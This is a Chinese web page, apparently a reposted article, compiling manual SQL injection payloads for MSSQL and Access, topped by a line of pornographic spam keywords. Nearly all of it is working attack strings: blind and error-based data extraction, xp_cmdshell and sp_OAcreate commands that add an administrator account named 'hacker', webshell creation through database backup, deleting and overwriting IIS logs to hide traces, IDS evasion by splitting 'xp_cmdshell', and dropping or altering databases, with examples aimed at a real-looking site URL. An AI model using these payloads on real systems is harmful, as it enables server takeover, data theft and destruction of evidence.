人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動態(tài)

sql手工注入語句&SQL手工注入大全

發(fā)布日期:2021-12-13 11:58 | 文章來源:站長之家

看看下面的
1.判斷是否有注入
;and 1=1
;and 1=2

2.初步判斷是否是mssql
;and user>0

3.判斷數(shù)據(jù)庫系統(tǒng)
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4.注入?yún)?shù)是字符
'and [查詢條件] and ''='

5.搜索時沒過濾參數(shù)的
'and [查詢條件] and '%25'='

6.猜數(shù)據(jù)庫
;and (select Count(*) from [數(shù)據(jù)庫名])>0

7.猜字段
;and (select Count(字段名) from 數(shù)據(jù)庫名)>0

8.猜字段中記錄長度
;and (select top 1 len(字段名) from 數(shù)據(jù)庫名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 數(shù)據(jù)庫名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 數(shù)據(jù)庫名)>0

10.測試權(quán)限結(jié)構(gòu)(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系統(tǒng)的帳戶
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍歷目錄
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍歷目錄
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅(qū)動器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結(jié)構(gòu)
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的內(nèi)容

13.mssql中的存儲過程
xp_regenumvalues 注冊表根鍵, 子鍵
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回所有鍵值
xp_regread 根鍵,子鍵,鍵值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值
xp_regwrite 根鍵,子鍵, 值名, 值類型, 值
值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 寫入注冊表
xp_regdeletevalue 根鍵,子鍵,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 刪除某個值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 刪除鍵,包括該鍵下所有值

14.mssql的backup創(chuàng)建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

15.mssql內(nèi)置函數(shù)
;and (select @@version)>0 獲得Windows的版本號
;and user_name()='dbo' 判斷當前系統(tǒng)的連接用戶是不是sa
;and (select user_name())>0 爆當前系統(tǒng)的連接用戶
;and (select db_name())>0 得到當前連接的數(shù)據(jù)庫


16.簡潔的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:\wwwtest\l.asp';

請求的時候,像這樣子用:
http://ip/l.asp?c=dir

SQL手工注入大全

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell擴展過程的方法是使用如下語句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell擴展過程的方法是使用如下語句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlExec Sunx Version的Format選項里填上%s,在CMD選項里輸入

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

去除

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'

?


SQL手工注入方法總結(jié)(SQL Server2005)2010-01-28 16:17---------以下以省略注入點用URL代替

--(1) ******查看驅(qū)動器方法******

-- 建表p(i為自動編號,a記錄盤符類似"c:\",b記錄可用字節(jié),其它省略)
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));--

URL;insert p exec xp_availablemedia;--列出所有驅(qū)動器并插入表p

URL;and (select count(*) from p)>3;--折半法查出驅(qū)動器總數(shù)

URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驅(qū)動器名(注asc(c)=67)

--上面一般用于無顯錯情況下使用-------以此類推,得到所有驅(qū)動器名

URL;and (select a from p where i=1)>3;--報錯得到第一個驅(qū)動器名

--上面一般用于顯錯情況下使用-------以此類推,得到所有驅(qū)動器名

URL;;drop table p;--刪除表p

--(2) ******查看目錄方法******

URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m記錄目錄,i記錄深度)

URL;insert pa exec xp_dirtree ’e:’;--列出驅(qū)動器e并插入表pa

URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度

URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;--報錯得到深度i=1的第一個目錄名

--上面一般用顯錯且目錄名不為數(shù)字情況下使用-------(得到第二個目錄把"top 0"換為"top 1",換深度只換i就行)以此類推,得到e盤的所有目錄

URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半法查出深度i=1的第一個目錄名的長度

URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一個目錄名的第一個字符長度

--上面一般用無顯錯情況下使用-------(得到第二個目錄把"top 0"換為"top 1",換深度只換i就行)以此類推,得到e盤的所有目錄

URL;drop

手工MSSQL注入常用SQL語句
and exists (select * from sysobjects) //判斷是否是MSSQL
and exists(select * from tableName) //判斷某表是否存在..tableName為表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //當前數(shù)據(jù)庫名
and 1=(select @@servername) //本地服務(wù)名
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判斷是否是系統(tǒng)管理員
and 1=(Select IS_MEMBER(‘db_owner’)) //判斷是否是庫權(quán)限
and 1= (Select HAS_DBACCESS(‘master’)) //判斷是否有庫讀取權(quán)限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴庫名DBID為1,2,3….
;declare @d int //是否支持多行
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’) //判斷XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name= ‘xp_regread’) //查看XP_regread擴展存儲過程是不是已經(jīng)被刪除
添加和刪除一個SA權(quán)限的用戶test:(需要SA權(quán)限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某個服務(wù)。 (需要SA權(quán)限)
exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’
暴網(wǎng)站目錄
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————分割
SQL Server
判斷是否可注射:
http://www.exehack.net/article.asp?id=6
http://www.exehack.net/article.asp?id=6′
http://www.exehack.net/article.asp?id=6 and 1=1
http://www.exehack.net/article.asp?id=6 and 1=2
http://www.exehack.net/article.asp?action=value’ and 1=1
http://www.exehack.net/article.asp?action=value’ and 1=2
searchpoints%’ and 1=1
searchpoints%’ and 1=2
確定數(shù)據(jù)庫類型:
http://www.exehack.net/article.asp?id=6 and user>0
http://www.exehack.net/article.asp?id=6 and (select count(*) from sysobjects)>0
查詢當前用戶數(shù)據(jù)信息:
article.asp?id=6 having 1=1–
暴當前表中的列:
article.asp?id=6 group by admin.username having 1=1–
article.asp?id=6 group by admin.username,admin.password having 1=1–
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id(‘admin’),N) from sysobjects)>1
暴數(shù)據(jù)庫數(shù)據(jù):
and (select top 1 password from admin where id=N)>1
修改數(shù)據(jù)庫中的數(shù)據(jù):
;update admin set password=’oooooo’ where username=’xxx’
增添數(shù)據(jù)庫中的數(shù)據(jù):
;insert into admin values (xxx,oooooo)–
刪數(shù)據(jù)庫:
;drop database webdata
獲取當前數(shù)據(jù)庫用戶名:and user>0
獲取當前數(shù)據(jù)庫名:and db_name()>0
獲取數(shù)據(jù)庫版本:and (select @@version)>0
判斷是否支持多句查詢:;declare @a int–
判斷是否支持子查詢:and (select count(1) from [sysobjects])>=0
數(shù)據(jù)庫的擴展存儲過程:exec master..xp_cmdshell
查看服務(wù)器C盤目錄:;exec_master..xp_cmdshell ‘dir c:\’
判斷擴展存儲過程是否存在:and select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
恢復擴展存儲過程:;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’
刪除擴展存儲過程:;exec sp_dropextendedproc ‘xp_cmdshell’
在MSSQL2000中提供了一些函數(shù)用于訪問OLE對象間接獲取權(quán)限:
;declare @s int
;exec sp_oacreat ‘wscript.shell’,@s
;exec master..spoamethod @s,’run’,null,’cmd.exe/c dir c:\’
判斷當前數(shù)據(jù)庫用戶名是否擁有比較高的權(quán)限:
and 1=(select is_srvrolemember(‘sysadmin’))
and 1=(select is_srvrolemember(‘serveradmin’))
and 1=(select is_srvrolemember(‘setupadmin’))
and 1=(select is_srvrolemember(‘securityadmin’))
and 1=(select is_srvrolemember(‘diskadmin’))
and 1=(select is_srvrolemember(‘bulkadmin’))
判斷當前數(shù)據(jù)庫用戶名是否為DB_OWNER:
and 1=(select is_member(‘db_owner’))
在SQLSERVER的master.dbo.sysdatabases表中存放著SQLSERVER數(shù)據(jù)庫系統(tǒng)中的所有數(shù)據(jù)庫信息,只需要PUBLIC權(quán)限就可以對此表進行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
刪除日志記錄:
;exec master.dbo.xp_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
替換日志記錄:
;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
獲取WEB路徑:
;declare @shell int
;exec master..sp_oamethod ‘wscript.shell’,@shell out
;exec master..sp_oamethod @shell,’run’,null,’cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell ‘dir /s d:/index.asp’
顯示服務(wù)器網(wǎng)站配置信息命令:
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC權(quán)限讀取:
;exec master.dbo.xp_regread
hkey_local_machine,
‘system\currentcontrolset\services\w3svc\parameters\virtual roots\’
‘/’
SQLSERVER下的高級技術(shù)可以參考閱讀曾云好所著的精通腳本黑客第五章。
3、DSqlHelper
檢測權(quán)限SYSADMIN:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。
檢測XP_CMDSHELL(CMD命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_cmdshell’)
檢測XP_REGREAD(注冊表讀取功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread’)
檢測SP_MAKEWEBTASK(備份功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask’)
檢測SP_ADDEXTENDEDPROC:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc’)
檢測XP_SUBDIRS讀子目錄:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs’)
檢測XP_DIRTREE讀子目錄:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree’)
修改內(nèi)容:
; UPDATE 表名 set 字段=內(nèi)容 where 1=1
XP_CMDSHELL檢測:
;exec master..xp_cmdshell ‘dir c:\’
修復XP_CMDSHELL:
;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’
用XP_CMDSHELL添加用戶hacker:
;exec master.dbo.xp_cmdshell ‘net user hacker 123456 /add’
XP_CMDSHELL把用戶hacker加到ADMIN組:
;exec master.dbo.xp_cmdshell ‘net localgroup administrators hacker /add’
創(chuàng)建表test:
;create table [dbo].[test] ([dstr][char](255));
檢測表段test:
and exists (select * from test)
讀取WEB的位置(讀注冊表):
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’,@result output insert into test (dstr) values(@result);–
爆出WEB的絕對路徑(顯錯模式):
and 1=(select count(*) from test where dstr > 1)
刪除表test:
;drop table test;–
創(chuàng)建查看目錄的表dirs:
;create table dirs(paths varchar(100), id int)
把查看目錄的內(nèi)容加入表dirs:
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
爆目錄的內(nèi)容dirs:
and 0<>(select top 1 paths from dirs)
備份數(shù)據(jù)庫DATANAME:
declare @a sysname; set @a=db_name();backup DATANAME @a to disk=’c:\inetpub\wwwroot\down.bak’;–
刪除表dirs:
;drop table dirs;–
創(chuàng)建表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
把驅(qū)動盤列表加入temp表:
;insert temp exec master.dbo.xp_availablemedia;–
刪除表temp:
;delete from temp;–
創(chuàng)建表dirs:
;create table dirs(paths varchar(100), id int);–
獲得子目錄列表XP_SUBDIRS:
;insert dirs exec master.dbo.xp_subdirs ‘c:\’;–
爆出內(nèi)容(顯錯模式):
and 0<>(select top 1 paths from dirs)
刪除表dirs:
;delete from dirs;–
創(chuàng)建表dirs:
;create table dirs(paths varchar(100), id int)–
用XP_CMDSHELL查看目錄內(nèi)容:
;insert dirs exec master..xp_cmdshell ‘dir c:\’
刪除表dirs:
;delete from dirs;–
檢測SP_OAcreate(執(zhí)行命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘SP_OAcreate’)
SP_OAcreate執(zhí)行CMD命令:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add’
SP_OAcreate建目錄:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111’
創(chuàng)建一個虛擬目錄E盤:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默認 Web 站點” -v “e”,”e:\”‘
設(shè)置虛擬目錄E為可讀:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’
啟動SERVER服務(wù):
;exec master..xp_servicecontrol ‘start’, ‘server’
繞過IDS檢測XP_CMDSHELL:
;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:\’
開啟遠程數(shù)據(jù)庫1:
; select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=apachy_123’, ‘select * from table1’ )
開啟遠程數(shù)據(jù)庫2:
;select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ‘select * from table’

版權(quán)聲明:本站文章來源標注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學習參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實時開通

自選配置、實時開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時在線

客服
熱線

400-630-3752
7*24小時客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部